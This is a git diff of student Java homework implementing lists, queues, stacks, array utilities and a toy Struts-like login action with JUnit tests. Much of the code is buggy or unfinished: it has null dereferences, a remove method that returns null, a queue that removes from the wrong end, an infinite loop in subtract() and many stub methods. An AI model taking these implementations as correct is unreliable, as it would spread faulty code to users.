+		obj = tar;
+	}
+
+	public Object get(int index) {
+		return obj[index];
+	}
+	
+	public int size(){
+		return obj.length;
+	}
+
+	public Object remove(int index){
+		Object[] tar = new Object[obj.length-1];
+		System.arraycopy(obj, 0, tar, 0, index);
+		System.arraycopy(obj, index+1, tar, index, obj.length-index-1);
+		Object o = obj[index];
+		obj = tar;
+		return o;//���ر�ɾԪ��
+	}
+	public static void main(String[] args) {
+		ArrayList al = new ArrayList();
+		al.add("hello");
+		al.add("java");
+		al.add(2, "addm");
+		System.out.println(al.remove(1));
+	}
+
+}
diff --git a/group23/609041842/src/com/homework01/LinkedList.java b/group23/609041842/src/com/homework01/LinkedList.java
new file mode 100644
index 0000000000..cc72fc2e4c
--- /dev/null
+++ b/group23/609041842/src/com/homework01/LinkedList.java
@@ -0,0 +1,87 @@
+package com.homework01;
+
+public class LinkedList {
+	private static Node head;
+	private Node last;
+	public int size;
+
+	public void add(Object o) {
+		Node l = last;
+		Node newNode = new Node(l, o, null);
+		last = newNode;
+		if (head == null) {
+			head = newNode;
+			size = 1;
+		} else {
+			l.next = newNode;
+			size++;
+		}
+	}
+
+	public void add(int index, Object o) {
+		Node n = node(index);
+		System.out.println(n.data);
+		Node pred = n.prev;
+		Node newNode = new Node(pred, o, n);
+		if (pred == null) {
+			head = newNode;
+		} else {
+			pred.next = newNode;
+		}
+		size++;
+	}
+
+	
+	public Node get(int index){
+		return node(index);
+	}
+	public Node node(int index) {
+		Node n = head;
+		for (int i = 0; i < index; i++) {
+			n = n.next;
+		}
+		return n;
+	}
+
+	public Node remove(int index){
+		Node del = node(index);
+		Node after = del.next;
+		Node before = del.prev;
+		before.next = after;
+		after.prev = before;
+		size--;
+		return del;
+	}
+	private static class Node {
+		Node next;
+		Object data;
+		Node prev;
+
+		private Node(Node prev, Object data, Node next) {
+			this.data = data;
+			this.next = next;
+			this.prev = prev;
+		}
+	}
+
+	public static void main(String[] arg) {
+		LinkedList ll = new LinkedList();
+		ll.add("hello");
+		ll.add("java");
+		ll.add("jvm");
+		ll.add("jvmd");
+		// System.out.println(ll.get(2));
+//		ll.add(1, "ds");
+		System.out.println(ll.get(0).data);
+		System.out.println(ll.get(1).data);
+		System.out.println(ll.get(2).data);
+		System.out.println(ll.get(3).data);
+		System.out.println(ll.size);
+	System.out.println(ll.remove(1).data);
+	System.out.println(ll.get(0).data);
+	System.out.println(ll.get(1).data);
+	System.out.println(ll.get(2).data);
+	System.out.println(ll.size);
+	}
+
+}
diff --git a/group23/609041842/src/com/homework01/Queue.java b/group23/609041842/src/com/homework01/Queue.java
new file mode 100644
index 0000000000..db8fb359b5
--- /dev/null
+++ b/group23/609041842/src/com/homework01/Queue.java
@@ -0,0 +1,17 @@
+package com.homework01;
+
+public class Queue {
+
+	private LinkedList lk = new LinkedList();
+	public void enQueue(Object o){
+		lk.add(o);
+	}
+	public void deQueue(){
+		lk.remove(lk.size-1);
+	}
+	public boolean isEmpty(){
+		if(lk.size == 0)
+			return true;
+		return false;
+	}
+}
diff --git a/group23/609041842/src/com/homework01/Stack.java b/group23/609041842/src/com/homework01/Stack.java
new file mode 100644
index 0000000000..ee5d71d830
--- /dev/null
+++ b/group23/609041842/src/com/homework01/Stack.java
@@ -0,0 +1,30 @@
+package com.homework01;
+
+public class Stack {
+
+	private ArrayList array = new ArrayList();
+	
+	public void push(Object o){
+		array.add(o);
+	}
+	public Object pop(){
+		return array.remove(array.size()-1);
+	}
+	
+	public boolean isEmpty(){
+		if(array.size()<=0)
+			return true;
+		return false;
+	}
+	
+	public int size(){
+		return array.size();
+	}
+	public static void main(String[] args) {
+		Stack sc = new Stack();
+		sc.push("hello world");
+		sc.push("java");
+		sc.push("jvm");
+	}
+	
+}
diff --git a/group23/609041842/src/test.java b/group23/609041842/src/test.java
new file mode 100644
index 0000000000..931a307711
--- /dev/null
+++ b/group23/609041842/src/test.java
@@ -0,0 +1,9 @@
+import org.junit.Test;
+
+public class test {
+
+	@Test
+	public void test(){
+		System.out.println("Heool");
+	}
+}
diff --git a/group23/632678665/com/basic/datastructure/ArrayList.java b/group23/632678665/com/basic/datastructure/ArrayList.java
new file mode 100644
index 0000000000..7669e8fba0
--- /dev/null
+++ b/group23/632678665/com/basic/datastructure/ArrayList.java
@@ -0,0 +1,62 @@
+package com.basic.datastructure;
+
+import java.util.Arrays;
+
+
+public class ArrayList implements List{
+	private Object [] array =new Object [15];
+	private int size=0;
+	private int aindex=0;
+	@Override
+	public void add(Object o) {
+		if(aindex>(int)(array.length/3*2)){
+			array=autoGrew(array);
+		}
+		array[aindex]=o;
+		size++;
+		aindex++;
+	}
+
+	@Override
+	public void add(int index, Object o) {
+		if(index>=array.length){
+			throw new IndexOutOfBoundsException();
+		}
+		array[index]=o;
+		size++;
+		aindex=index;
+	}
+
+	@Override
+	public Object get(int index) {
+		if(index>=array.length){
+			throw new IndexOutOfBoundsException();
+		}
+		return array[index];
+	}
+
+	@Override
+	public Object remove(int index) {
+		if(index>=array.length){
+			throw new IndexOutOfBoundsException();
+		}
+		Object o=array[index];
+		for(int i=index;i<array.length;i++){
+			if(i==array.length-1){
+				break;
+			}
+			array[i]=array[i+1];
+		}
+		size--;
+		return null;
+	}
+
+	@Override
+	public int size() {
+		return size;
+	}
+	public Object [] autoGrew(Object [] o){
+		Object [] newArray;
+		return newArray=Arrays.copyOf(o, (int) (o.length*1.5));
+	}
+}
diff --git a/group23/632678665/com/basic/datastructure/LinkedList.java b/group23/632678665/com/basic/datastructure/LinkedList.java
new file mode 100644
index 0000000000..3eb2aad4a1
--- /dev/null
+++ b/group23/632678665/com/basic/datastructure/LinkedList.java
@@ -0,0 +1,98 @@
+package com.basic.datastructure;
+
+public class LinkedList implements List{
+	private int size=0;
+	private Node head=null;
+	private int index=-1;
+	
+	private static class Node{
+		Object data;
+		Node next;
+		public Node(Object o,Node next){
+			this.data=o;
+			this.next=next;
+		}
+	}
+	@Override
+	public void add(Object o) {
+		Node front=null;
+		Node last=null;
+		if(head==null){
+			head=new Node(o,null);
+			front=head;
+			size++;
+			index++;
+			return ;
+		}
+		while(front.next!=null){
+			front=front.next;
+		}
+		last=new Node(o,null);
+		front.next=last;
+		index++;
+		size++;
+	}
+
+	@Override
+	public void add(int index, Object o) {
+		Node front=null;
+		Node last=null;
+		if(head==null){
+			head=new Node(o,null);
+			front=head;
+			size++;
+			index++;
+			return ;
+		}
+		for(int i=0;i<index;i++){
+			if(front.next==null){
+				add(null);
+				front=front.next;
+			}
+		}
+		add(o);
+	}
+
+	@Override
+	public Object get(int index) {
+		Node front=null;
+		if(index==0){
+			if(head==null){
+				throw new IndexOutOfBoundsException();
+			}
+			return head.data;
+		}
+		front=head;
+		for(int i=0;i<index;i++){
+			if(front.next==null){
+				throw new IndexOutOfBoundsException();
+			}
+			front=front.next;
+		}
+		return front.next.data;
+	}
+
+	@Override
+	public Object remove(int index) {
+		if(index==0){
+			head=head.next;
+		}
+		Node front=null;
+		for(int i=0;i<index;i++){
+			if(front.next==null){
+				throw new IndexOutOfBoundsException();
+			}
+			front=front.next;
+		}
+		front.next=front.next.next;
+		size--;
+		return front.next.data;
+	}
+
+	@Override
+	public int size() {
+		// TODO Auto-generated method stub
+		return size;
+	}
+	
+}
diff --git a/group23/632678665/com/basic/datastructure/List.java b/group23/632678665/com/basic/datastructure/List.java
new file mode 100644
index 0000000000..a69cde6453
--- /dev/null
+++ b/group23/632678665/com/basic/datastructure/List.java
@@ -0,0 +1,9 @@
+package com.basic.datastructure;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index,Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/632678665/com/basic/datastructure/Queue.java b/group23/632678665/com/basic/datastructure/Queue.java
new file mode 100644
index 0000000000..41ef95deb9
--- /dev/null
+++ b/group23/632678665/com/basic/datastructure/Queue.java
@@ -0,0 +1,23 @@
+package com.basic.datastructure;
+import java.util.LinkedList;
+public class Queue {
+	private LinkedList linkedList=new LinkedList();
+	
+	public void enQueue(Object o){
+		linkedList.add(o);
+	}
+	
+	public Object deQueue(){
+		Object o=linkedList.get(linkedList.size()-1);
+		linkedList.remove(linkedList.size()-1);
+		return o;
+	}
+	
+	public boolean isEmpty(){
+		return linkedList.isEmpty();
+	}
+	
+	public int size(){
+		return linkedList.size();
+	}
+}
diff --git a/group23/632678665/com/basic/datastructure/Stack.java b/group23/632678665/com/basic/datastructure/Stack.java
new file mode 100644
index 0000000000..dbc06956e1
--- /dev/null
+++ b/group23/632678665/com/basic/datastructure/Stack.java
@@ -0,0 +1,29 @@
+package com.basic.datastructure;
+
+import java.util.ArrayList;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+
+	public void push(Object o) {
+		elementData.add(o);
+	}
+
+	public Object pop() {
+		Object o=elementData.get(elementData.size()-1);
+		elementData.remove(elementData.size()-1);
+		return o;
+	}
+
+	public Object peek() {
+		return elementData.get(elementData.size()-1);
+	}
+
+	public boolean isEmpty() {
+		return elementData.isEmpty();
+	}
+
+	public int size() {
+		return elementData.size();
+	}
+}
diff --git a/group23/632678665/com/basic/datastructure/TestDataStructure.java b/group23/632678665/com/basic/datastructure/TestDataStructure.java
new file mode 100644
index 0000000000..e394e8ec61
--- /dev/null
+++ b/group23/632678665/com/basic/datastructure/TestDataStructure.java
@@ -0,0 +1,27 @@
+package com.basic.datastructure;
+
+import static org.junit.Assert.*;
+
+import org.junit.Test;
+
+public class TestDataStructure {
+
+	@Test
+	public void test1() {
+		List list=new ArrayList();
+		list.add(new Integer(1));
+		list.add(new Integer(2));
+		list.add(new Integer(3));
+		list.add(new Integer(4));
+		list.add(new Integer(5));
+	}
+	public static void main(String [] args){
+		List list=new ArrayList();
+		list.add(new Integer(1));
+		list.add(new Integer(2));
+		list.add(new Integer(3));
+		list.add(new Integer(4));
+		list.add(new Integer(5));
+	}
+
+}
diff --git a/group23/632678665/com/basic/week2/datastructure/ArrayTest.java b/group23/632678665/com/basic/week2/datastructure/ArrayTest.java
new file mode 100644
index 0000000000..46c3f8b601
--- /dev/null
+++ b/group23/632678665/com/basic/week2/datastructure/ArrayTest.java
@@ -0,0 +1,50 @@
+package com.basic.week2.datastructure;
+
+import static org.junit.Assert.*;
+
+import java.util.Arrays;
+
+import org.junit.Test;
+
+public class ArrayTest {
+	private ArrayUtil t=new ArrayUtil();
+	@Test
+	public void testReverseArray(){
+		int [] data1={7, 9 , 30, 3};
+		int [] data2={7, 9, 30, 3, 4};
+		t.reverseArray(data2);
+	}
+	@Test
+	public void testRemoveZero(){
+		int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
+		System.out.println(Arrays.toString(t.removeZero(oldArr)));
+	}
+	@Test
+	public void testMerge(){
+		int [] a1 = {3, 5, 7,8};
+		int [] a2 = {4, 5, 6,7};
+		System.out.println(Arrays.toString(t.merge(a1, a2)));
+	}
+	@Test
+	public void testGrow(){
+		int [] oldArray = {2,3,6};
+		System.out.println(Arrays.toString(t.grow(oldArray, 5)));
+	}
+	@Test
+	public void testFibonacci(){
+		System.out.println(Arrays.toString(t.fibonacci(1)));
+	}
+	@Test
+	public void testGetPrimes(){
+		System.out.println(Arrays.toString(t.getPrimes(23)));
+	}
+	@Test
+	public void testGetPerfectNumbers(){
+		System.out.println(Arrays.toString(t.getPerfectNumbers(7)));
+	}
+	@Test
+	public void testJoin(){
+		int [] array= {3,8,9};
+		System.out.println(t.join(array, "-"));
+	}
+}
diff --git a/group23/632678665/com/basic/week2/datastructure/ArrayUtil.java b/group23/632678665/com/basic/week2/datastructure/ArrayUtil.java
new file mode 100644
index 0000000000..10089c1b3a
--- /dev/null
+++ b/group23/632678665/com/basic/week2/datastructure/ArrayUtil.java
@@ -0,0 +1,228 @@
+package com.basic.week2.datastructure;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+import com.sun.xml.internal.bind.v2.runtime.unmarshaller.XsiNilLoader.Array;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin){
+		int index=(int) (origin.length/2);
+		for(int i=0;i<index;i++){
+			int temp=origin[i];
+			origin[i]=origin[origin.length-1-i];
+			origin[origin.length-1-i]=temp;
+		}
+		System.out.println(Arrays.toString(origin));
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int [] removeZero(int[] oldArray){
+		ArrayList <Integer >array=new ArrayList <Integer>();
+		int from;
+		int to;
+		for(int i=0;i<oldArray.length;i++){
+			if(oldArray[i]==0){
+				to=i;
+				continue;
+			}
+			array.add(oldArray[i]);
+		}
+		int [] array2=new int[array.size()];
+		for(int i=0;i<array2.length;i++){
+			array2[i]=array.get(i);
+		}
+		return array2;
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	@SuppressWarnings("unchecked")
+	public int[] merge(int[] array1, int[] array2){
+		List <Integer> list=new ArrayList<Integer>();
+		for(int i=0;i<array1.length;i++){
+			list.add(array1[i]);
+		}
+		for(int i=0;i<array2.length;i++){
+			list.add(array2[i]);
+		}
+		HashSet <Integer> set=new HashSet<Integer>();
+		set.addAll(list);
+		Object[] array=set.toArray();
+		int [] arrayInt=new int [array.length];
+		for(int i=0;i<array.length;i++){
+			arrayInt[i]=(int)array[i];
+		}
+		Arrays.sort(arrayInt);
+		return arrayInt;
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		int length=oldArray.length+size;
+		int [] newArray=new int [length];
+		System.arraycopy(oldArray,0,newArray,0,oldArray.length);
+		return newArray;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		if(max==1){
+			return new int []{};
+		}
+		int front=1;
+		int behind=1;
+		int result=0;
+		List <Integer>list=new ArrayList<Integer>();
+		list.add(front);
+		list.add(behind);
+		while(true){
+			result=front+behind;
+			if(max<result){
+				break;
+			}
+			list.add(result);
+			front=behind;
+			behind=result;
+		}
+		int [] array=new int [list.size()];
+		for(int i=0;i<array.length;i++){
+			array[i]=list.get(i);
+		}
+		return array;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		List<Integer> list=new ArrayList<Integer>();
+		int num=3;
+		list.add(2);
+		boolean flag=true;
+		while(true){
+			flag=true;
+			for(int i=2;i<num;i++){
+				if(num%i==0){
+					flag=false;
+					break;
+				}
+			}
+			if(max<=num){
+				break;
+			}
+			if(flag==true){
+				list.add(num);
+			}
+			num++;
+		}
+		int [] array=new int [list.size()];
+		for(int i=0;i<array.length;i++){
+			array[i]=list.get(i);
+		}
+		return array;
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		List <Integer> list=new ArrayList<Integer>();
+		Set <Integer> temp=new HashSet<Integer>();
+		int num=1;
+		int result=0;
+		while(true){
+			for(int i=1;i<num;i++){
+				if(num%i==0){
+					temp.add(i);
+				}
+			}
+			for(Integer i:temp){
+				result+=i;
+			}
+			if(num>max){
+				break;
+			}
+			if(num==result){
+				list.add(num);
+			}
+			temp.clear();
+			result=0;
+			num++;
+		}
+		int [] array=new int [list.size()];
+		for(int i=0;i<array.length;i++){
+			array[i]=list.get(i);
+		}
+		return array;
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		List <String> list=new ArrayList<String>();
+		for(int i=0;i<array.length;i++){
+			list.add(new Integer(array[i]).toString());
+			if(i==array.length-1){
+				break;
+			}
+			list.add(seperator);
+		}
+		StringBuilder str=new StringBuilder();
+		for(String s:list){
+			str.append(s);
+		}
+		return str.toString();
+	}
+	
+}
diff --git a/group23/632678665/com/basic/week2/litestruts/LoginAction.java b/group23/632678665/com/basic/week2/litestruts/LoginAction.java
new file mode 100644
index 0000000000..80133805ac
--- /dev/null
+++ b/group23/632678665/com/basic/week2/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package com.basic.week2.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/632678665/com/basic/week2/litestruts/Struts.java b/group23/632678665/com/basic/week2/litestruts/Struts.java
new file mode 100644
index 0000000000..0b1a7c03f0
--- /dev/null
+++ b/group23/632678665/com/basic/week2/litestruts/Struts.java
@@ -0,0 +1,35 @@
+package com.basic.week2.litestruts;
+
+
+import java.util.Map;
+
+
+
+public class Struts {
+
+    public static View runAction(String actionName, Map<String,String> parameters) {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+    	return null;
+    }    
+
+}
diff --git a/group23/632678665/com/basic/week2/litestruts/StrutsTest.java b/group23/632678665/com/basic/week2/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..5549100269
--- /dev/null
+++ b/group23/632678665/com/basic/week2/litestruts/StrutsTest.java
@@ -0,0 +1,43 @@
+package com.basic.week2.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/632678665/com/basic/week2/litestruts/View.java b/group23/632678665/com/basic/week2/litestruts/View.java
new file mode 100644
index 0000000000..7260afd69b
--- /dev/null
+++ b/group23/632678665/com/basic/week2/litestruts/View.java
@@ -0,0 +1,24 @@
+package com.basic.week2.litestruts;
+
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/632678665/com/basic/week3/datastructure/LinkedList.java b/group23/632678665/com/basic/week3/datastructure/LinkedList.java
new file mode 100644
index 0000000000..09b08dd25f
--- /dev/null
+++ b/group23/632678665/com/basic/week3/datastructure/LinkedList.java
@@ -0,0 +1,446 @@
+package com.basic.week3.datastructure;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.NoSuchElementException;
+
+public class LinkedList implements List {
+
+	private int size = 0;
+	// 头结点
+	private Node head;
+	// 尾结点
+	private Node tail;
+
+	private void rangeCheck(int index) {
+		if (index < 0 || index > size) {
+			throw new IndexOutOfBoundsException();
+		}
+	}
+
+//	public void add(Object o) {
+//		Node node = new Node(o, null);
+//		if (head == null) {
+//			head = tail = node;
+//		}
+//		Node oldTail = tail;
+//		tail = node;
+//		oldTail.next = tail;
+//		size++;
+//	}
+
+	public void add(int index, Object o) {
+		rangeCheck(index);
+		if (index == size) {
+			this.add(o);
+		} else {
+			// 保存index处节点
+			Node x = head;
+			// 保存index-1处的节点
+			Node y = null;
+			for (int i = 0; i < index; i++) {
+				y = x;
+				x = x.next;
+			}
+			Node node = new Node(o, x);
+			y.next = node;
+			size++;
+		}
+	}
+
+	public Object get(int index) {
+		rangeCheck(index);
+		Node x = head;
+		for (int i = 0; i < index; i++) {
+			x = x.next;
+		}
+		return x.data;
+	}
+
+	public Object remove(int index) {
+		rangeCheck(index);
+		Object removeData;
+		if (index == 0) {
+			removeData = removeFirst();
+		} else if (index == size - 1) {
+			removeData = removeLast();
+		} else {
+			Node x = head;
+			Node y = head;
+			for (int i = 0; i < index; i++) {
+				y = x;
+				x = x.next;
+			}
+			y.next = x.next;
+			size--;
+			removeData = x.data;
+		}
+		return removeData;
+	}
+
+	@Override
+	public int size() {
+		return size;
+	}
+
+	public void addFirst(Object o) {
+		Node oldHead = head;
+		head = new Node(o, oldHead);
+		size++;
+	}
+
+	public void addLast(Object o) {
+		Node oldTail = tail;
+		tail = new Node(o, null);
+		oldTail.next = tail;
+		size++;
+	}
+
+	public Object removeFirst() {
+		Node next = head.next;
+		Object data = head.data;
+		head.data = null;
+		head.next = null;
+		head = next;
+		size--;
+		return data;
+	}
+
+	public Object removeLast() {
+		Node oldTail = tail;
+		Node temp = head;
+		for (int i = 0; i < size - 2; i++) {
+			temp = temp.next;
+		}
+		tail = temp;
+		size--;
+		return oldTail.data;
+	}
+
+	public void clear() {
+		for (Node x = head; x != null;) {
+			Node next = x.next;
+			x.data = null;
+			x.next = null;
+			x = next;
+		}
+		head = tail = null;
+		size = 0;
+	}
+
+	public Object getTail() {
+		Node l = tail;
+		// 如果链表为空
+		if (l == null) {
+			throw new NoSuchElementException();
+		}
+		return l.data;
+	}
+
+	public Object getHead() {
+		Node l = head;
+		// 如果链表为空
+		if (l == null) {
+			throw new NoSuchElementException();
+		}
+		return l.data;
+	}
+
+	public Iterator iterator() {
+		return new LinkedListIterator();
+	}
+
+	private static class Node {
+		Object data;
+		Node next;
+
+		Node(Object data, Node next) {
+			this.data = data;
+			this.next = next;
+		}
+
+	}
+
+	private class LinkedListIterator implements Iterator {
+		Node x = head;
+
+		@Override
+		public boolean hasNext() {
+			return x != null;
+		}
+
+		@Override
+		public Object next() {
+			Object data = x.data;
+			x = x.next;
+			return data;
+		}
+
+		@Override
+		public void remove() {
+			// TODO Auto-generated method stub
+			
+		}
+
+	}
+
+	/**
+	 * 把该链表逆置 例如链表为 3->7->10 , 逆置后变为 10->7->3
+	 */
+	public void reverse() {
+		Object[] temp = new Object[size];
+		for (int i = 0; i < size; i++) {
+			temp[i] = this.get(i);
+		}
+		this.clear();
+		for (int i = temp.length - 1; i >= 0; i--) {
+			this.add(temp[i]);
+		}
+	}
+
+	/**
+	 * 删除一个单链表的前半部分 例如：list = 2->5->7->8 , 删除以后的值为 7->8 如果list = 2->5->7->8->10
+	 * ,删除以后的值为7,8,10
+	 *
+	 */
+	public void removeFirstHalf() {
+		int s = size;
+		for (int i = 0; i < s / 2; i++) {
+			this.removeFirst();
+		}
+	}
+
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 *
+	 * @param i
+	 * @param length
+	 * @throws Exception
+	 */
+	public void remove(int i, int length) throws Exception {
+		if (i + length > size) {
+			throw new Exception();
+		}
+		for (int j = i; j < i + length; j++) {
+			this.remove(i);
+		}
+	}
+
+	/**
+	 * 假定当前链表和list均包含已升序排列的整数 从当前链表中取出那些list所指定的元素 例如当前链表 =
+	 * 11->101->201->301->401->501->601->701 listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]
+	 *
+	 * @param list
+	 * @throws Exception
+	 */
+	public int[] getElements(LinkedList list) throws Exception {
+		if ((int) list.getTail() > this.size()) {
+			throw new Exception();
+		}
+		int[] temp = new int[list.size()];
+		for (int i = 0; i < list.size(); i++) {
+			temp[i] = (int) this.get((int) list.get(i));
+		}
+		return temp;
+	}
+
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。 从当前链表中中删除在list中出现的元素
+	 *
+	 * @param list
+	 */
+
+	public void subtract(LinkedList list) {
+		Node x = head;
+		Node y = list.head;
+		while (x != null && y != null) {
+			if ((int) x.data < (int) y.data) {
+				x = x.next;
+				continue;
+			}
+			if ((int) x.data == (int) y.data) {
+				Node next = x.next;
+				continue;
+			}
+			if ((int) x.data > (int) y.data) {
+				y = y.next;
+				continue;
+			}
+		}
+	}
+
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public void removeDuplicateValues() {
+		for (Node x = head; x != null;) {
+			Node next = x.next;
+			if (next == null) {
+				return;
+			}
+			if (x.data == next.data) {
+				x.next = next.next;
+				size--;
+			} else {
+				x = x.next;
+			}
+		}
+	}
+
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 *
+	 * @param min
+	 * @param max
+	 */
+	public void removeRange(int min, int max) {
+		if ((int) this.getTail() < min) {
+			this.clear();
+		}
+
+		if ((int) this.getHead() > max) {
+			return;
+		}
+
+		for (Node x = head; x != null; x = x.next) {
+			if ((int) x.data <= min) {
+				continue;
+			}
+
+		}
+	}
+
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 *
+	 * @param list
+	 */
+	public LinkedList intersection(LinkedList list) {
+		LinkedList linkedList = new LinkedList();
+		Node x = head;
+		Node y = list.head;
+		while (x != null && y != null) {
+			if ((int) x.data < (int) y.data) {
+				x = x.next;
+				continue;
+			}
+			if ((int) x.data == (int) y.data) {
+				linkedList.add(x.data);
+				x = x.next;
+				y = y.next;
+				continue;
+			}
+			if ((int) x.data > (int) y.data) {
+				y = y.next;
+				continue;
+			}
+		}
+		return linkedList;
+	}
+
+	@Override
+	public boolean isEmpty() {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public boolean contains(Object o) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public Object[] toArray() {
+		// TODO Auto-generated method stub
+		return null;
+	}
+
+	@Override
+	public Object[] toArray(Object[] a) {
+		// TODO Auto-generated method stub
+		return null;
+	}
+
+	@Override
+	public boolean remove(Object o) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public boolean containsAll(Collection c) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public boolean addAll(Collection c) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public boolean addAll(int index, Collection c) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public boolean removeAll(Collection c) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public boolean retainAll(Collection c) {
+		// TODO Auto-generated method stub
+		return false;
+	}
+
+	@Override
+	public Object set(int index, Object element) {
+		// TODO Auto-generated method stub
+		return null;
+	}
+
+	@Override
+	public int indexOf(Object o) {
+		// TODO Auto-generated method stub
+		return 0;
+	}
+
+	@Override
+	public int lastIndexOf(Object o) {
